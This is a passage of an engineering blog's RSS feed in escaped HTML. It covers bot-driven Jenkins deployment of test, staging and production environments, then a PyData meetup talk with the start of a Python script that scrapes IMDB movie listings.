0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Deployment&lt;/h3&gt; &lt;p&gt;To deploy such a &lt;em&gt;test&lt;/em&gt; we have a job on Jenkins. As you may have guessed already, the inputs to this job are:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Name of the &lt;em&gt;test&lt;/em&gt; instance&lt;/li&gt; &lt;li&gt;Frontend branch&lt;/li&gt; &lt;li&gt;Backend branch&lt;/li&gt; &lt;li&gt;Service-1 branch&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;Once this job runs, it pulls on all the above 3 branches on a remote server, does some configuration changes and creates a virtual host to work on &lt;code class=&quot;language-text&quot;&gt;testname.vwo.com&lt;/code&gt;.&lt;/p&gt; &lt;h3 id=&quot;more-automation&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#more-automation&quot; aria-label=&quot;more automation permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;More automation&lt;/h3&gt; &lt;p&gt;Now, even this job would require the developer to open Jenkins webapp, go to job page, put in inputs and then run it. But we avoid that too - enter &lt;strong&gt;Ramukaka&lt;/strong&gt;! Ramukaka is our Skype bot (&lt;a href=&quot;https://github.com/wingify/heybot&quot;&gt;that we have open-sourced as well&lt;/a&gt;) which we use for various grunt tasks, such as running a Jenkins job!&lt;/p&gt; &lt;p&gt;With Ramukaka in the picture, our &lt;em&gt;test&lt;/em&gt; deployment looks like so:&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;/images/2017/09/autodeploy-1.png&quot;&gt;&lt;/p&gt; &lt;p&gt;Note: We have 3 components and have only 2 branches are specified. That is because the developer can skip a component if the branch to be deployed is default i.e. &lt;em&gt;master&lt;/em&gt;. Also, the same command just pulls the latest changes in case the &lt;em&gt;test&lt;/em&gt; instance already exists.&lt;/p&gt; &lt;p&gt;Neat, right?&lt;/p&gt; &lt;h2 id=&quot;staging&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#staging&quot; aria-label=&quot;staging permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Staging&lt;/h2&gt; &lt;p&gt;&lt;em&gt;Staging&lt;/em&gt; has primarily 2 differences from &lt;em&gt;test&lt;/em&gt;:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;There is a single &lt;em&gt;staging&lt;/em&gt; unlike multiple &lt;em&gt;tests&lt;/em&gt;.&lt;/li&gt; &lt;li&gt;There are some more build steps involved compared to a &lt;em&gt;test&lt;/em&gt;.&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;So it&apos;s similar to a &lt;em&gt;test&lt;/em&gt; deployment, except that before deploying it required the developer to build his/her branch like so:&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;/images/2017/09/autodeploy-2.png&quot;&gt;&lt;/p&gt; &lt;p&gt;&lt;em&gt;Note:&lt;/em&gt; While building a branch we also inform the job about the environment to build for (eg. &lt;em&gt;stagingapp&lt;/em&gt; above) because right now the code needs to be a bit tweaked according to the domain its deployed on.&lt;/p&gt; &lt;p&gt;And once &lt;em&gt;Ramukaka&lt;/em&gt; confirms a successful build, the developer can deploy the &lt;em&gt;staging&lt;/em&gt; with that branch:&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;/images/2017/09/autodeploy-3.png&quot;&gt;&lt;/p&gt; &lt;h3 id=&quot;some-more-commands&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#some-more-commands&quot; aria-label=&quot;some more commands permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Some more commands&lt;/h3&gt; &lt;p&gt;As I had mentioned, we have just one &lt;em&gt;staging&lt;/em&gt; (single gateway to production). Therefore, each deployment overwrites the previous deployment. And so it becomes important that developers do not overwrite each other&apos;s deployment by mistake. To prevent this, we have an additional command in &lt;em&gt;Ramukaka&lt;/em&gt; called &lt;code class=&quot;language-text&quot;&gt;currentBranch&lt;/code&gt;. Through this command anyone can check which branch is deployed for a particular component on the &lt;em&gt;staging&lt;/em&gt;. Eg. if I need to check the frontend branch on &lt;em&gt;staging&lt;/em&gt;, I would do so:&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;/images/2017/09/autodeploy-4.png&quot;&gt;&lt;/p&gt; &lt;p&gt;Now the developer can take appropriate actions based on the deployed branch.&lt;/p&gt; &lt;h2 id=&quot;production&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#production&quot; aria-label=&quot;production permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Production&lt;/h2&gt; &lt;p&gt;The production is no different from the &lt;em&gt;staging&lt;/em&gt;. Once the final round of testing is done by the QA team on &lt;em&gt;staging&lt;/em&gt;, there are 3 things that need to be done to deploy the app on production:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Build the branch&lt;/li&gt; &lt;li&gt;Create a tag for release on master branch&lt;/li&gt; &lt;li&gt;Deploy the tag on the server&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;All the 3 tasks are handled through a single command on &lt;em&gt;Ramukaka&lt;/em&gt;:&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;/images/2017/09/autodeploy-5.png&quot;&gt;&lt;/p&gt; &lt;p&gt;And the frontend gets deployed on production, just like that!&lt;/p&gt; &lt;p&gt;&lt;em&gt;Note:&lt;/em&gt; Right now only the frontend deployment is automated for production. But we plan to do it for all the components of the app.&lt;/p&gt; &lt;h2 id=&quot;going-ahead&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#going-ahead&quot; aria-label=&quot;going ahead permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Going Ahead&lt;/h2&gt; &lt;p&gt;All this deployment automation saves us a huge amount of time. And we know we can save more. Using similar automation for every component of the app is something we plan to do next. Also better logging and monitoring of these environments is on the list.&lt;/p&gt; &lt;p&gt;How do you manage multiple environments? We would love to hear about your deployment techniques if you want to share in the comments.&lt;/p&gt; &lt;p&gt;Until next time!&lt;/p&gt;</content:encoded><author>Kushagra Gour</author></item><item><title><![CDATA[PyData at Wingify - My Experience]]></title><description><![CDATA[About PyData I recently got an opportunity to speak at the PyData, Delhi. PyData is a tech group, with chapters in New Delhi and other…]]></description><link>https://engineering.wingify.com//posts/wingify-pydata-at-wingify/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/wingify-pydata-at-wingify/</guid><pubDate>Tue, 12 Sep 2017 00:00:00 GMT</pubDate><content:encoded>&lt;img src=&quot;/images/2017/06/pydata_6.jpg&quot;&gt; &lt;h3 id=&quot;about-pydata&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#about-pydata&quot; aria-label=&quot;about pydata permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;About PyData&lt;/h3&gt; &lt;p&gt;I recently got an opportunity to speak at the PyData, Delhi. PyData is a tech group, with chapters in New Delhi and other regions, where Python enthusiasts share their ideas and projects related to Data Analysis and Machine Learning.&lt;/p&gt; &lt;h3 id=&quot;talks-at-pydata&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#talks-at-pydata&quot; aria-label=&quot;talks at pydata permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Talks at PyData&lt;/h3&gt; &lt;p&gt;There were three talks at PyData, namely &lt;strong&gt;Machine Learning using Tensor Flow&lt;/strong&gt;, &lt;strong&gt;Data Layer at Wingify&lt;/strong&gt; and mine, &lt;strong&gt;Learning Data Analysis by Scraping Websites&lt;/strong&gt;. All the talks were thorough and excellent! In the talk, &lt;strong&gt;Data layer at Wingify&lt;/strong&gt; by &lt;a href=&quot;https://twitter.com/mgill25&quot;&gt;Manish Gill&lt;/a&gt; 🤓, he talked about how we handle millions of requests at Wingify.&lt;/p&gt; &lt;h3 id=&quot;some-of-images-of-the-pydata-meetup-hosted-by-wingify&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#some-of-images-of-the-pydata-meetup-hosted-by-wingify&quot; aria-label=&quot;some of images of the pydata meetup hosted by wingify permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Some of Images of the PyData Meetup Hosted by Wingify.&lt;/h3&gt; &lt;div id=&quot;pydata-meetup-gallery&quot;&gt; &lt;img src=&quot;/images/2017/06/pydata_0.jpg&quot;&gt; &lt;img src=&quot;/images/2017/06/pydata_8.jpg&quot;&gt; &lt;img src=&quot;/images/2017/06/pydata_7.jpg&quot;&gt; &lt;img src=&quot;/images/2017/06/pydata_2.jpg&quot;&gt; &lt;img src=&quot;/images/2017/06/pydata_1.jpg&quot;&gt; &lt;img src=&quot;/images/2017/06/pydata_5.jpg&quot;&gt; &lt;img src=&quot;/images/2017/06/pydata_4.jpg&quot;&gt; &lt;img src=&quot;/images/2017/06/pydata_9.jpg&quot;&gt; &lt;/div&gt; &lt;h3 id=&quot;background-about-my-talk&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#background-about-my-talk&quot; aria-label=&quot;background about my talk permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Background About My Talk&lt;/h3&gt; &lt;p&gt;Let me give you a little background. It was the Friday before the PyData Meetup/Conference. Our engineering team was doing its daily tasks. I had just grabbed a coffee to alleviate my laziness. Suddenly, our engineering lead came and asked us whether anyone could present on a topic at the PyData that we were to organise the very next day. An initial speaker, who had confirmed earlier, backed out at the last moment because he had fallen sick. I could see that most of the team members tried to avoid volunteering in such a short notice and also probably because the next day was a Saturday (though this is my personal opinion). But I had something different on my mind and during this planning or confusion, I volunteered for it 🤓. I had a project that I had done, back when I was learning Python. So I offered to present it. He agreed to it and asked me to keep the presentation ready.&lt;/p&gt; &lt;h3 id=&quot;preparing-the-project--slides&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#preparing-the-project--slides&quot; aria-label=&quot;preparing the project slides permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Preparing the Project &amp;#x26; Slides&lt;/h3&gt; &lt;p&gt;That Friday night, I started searching for the old files which I had used. Finally, I found all of them on my website, downloaded them and ran the code. It worked like a charm 😍. Yeah! I quickly created the slides around it, and after finishing, smiled and went to sleep at 4.30 am.&lt;/p&gt; &lt;h3 id=&quot;little-about-the-basics-of-my-talk&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#little-about-the-basics-of-my-talk&quot; aria-label=&quot;little about the basics of my talk permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Little About the Basics of My Talk.&lt;/h3&gt; &lt;p&gt;The presentation that I gave was on &lt;strong&gt;Learning Data Analysis by Scraping Websites&lt;/strong&gt;. During my college days, we heavily used the BeautifulSoup Library in Python to scrape websites for the many personal projects. During this project, I got the idea to scrape data from the websites which aggregated movies related data. By doing that, I thought that I could create a list of all movies that I must definitely watch. The movies had to satisfy the following criteria:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Release date &gt;= 2000&lt;/li&gt; &lt;li&gt;Rating &gt; 8&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;It was not the best idea at that time to scrape websites and then analyse(Data frame). But I learned a lot of things by scraping data from the website using Beautifulsoup, then analyzing data using Pandas, visualizing data using MatplotLib (a Python library) and finally coming to conclusion about my movies recommendation.&lt;/p&gt; &lt;p&gt;Coming back to the objective - &lt;code class=&quot;language-text&quot;&gt;Finding and sorting the movies released between 2000-2017 in the order of relevance&lt;/code&gt; (I didn&apos;t want to watch movies &amp;#x3C; 2000). Below is the code to scrape &lt;a href=&quot;http://www.imdb.com/&quot;&gt;IMDB&lt;/a&gt; for movies data from 2000-2017.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; bs4 &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; BeautifulSoup &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; urllib2 def &lt;span class=&quot;token function&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;** ====== Data Extracting Lib -- by Promode ===== **&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; testUrl &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;http://www.imdb.com/search/title?at=0&amp;amp;count=100&amp;amp;\ groups=top_1000&amp;amp;release_date=2000,2017&amp;amp;sort=moviemeter&quot;&lt;/span&gt; pageSource &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; urllib2&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;urlopen&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;testUrl&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; soupPKG &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;BeautifulSoup&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;pageSource&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;lxml&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; titles &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; soupPKG&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;findAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;div&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;class_&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;lister-item mode-advanced&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; mymovieslist &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; mymovies &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; t &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; titles&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; mymovies &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; mymovies&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;name&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; t&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;findAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;a&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;text mymovies&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;year&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;t&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;span&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;lister-item-year&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;text&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; mymovies&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;rating&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;float&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;t&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;find&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;span&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;rating-rating&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;text&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;\ &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;replace&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;token 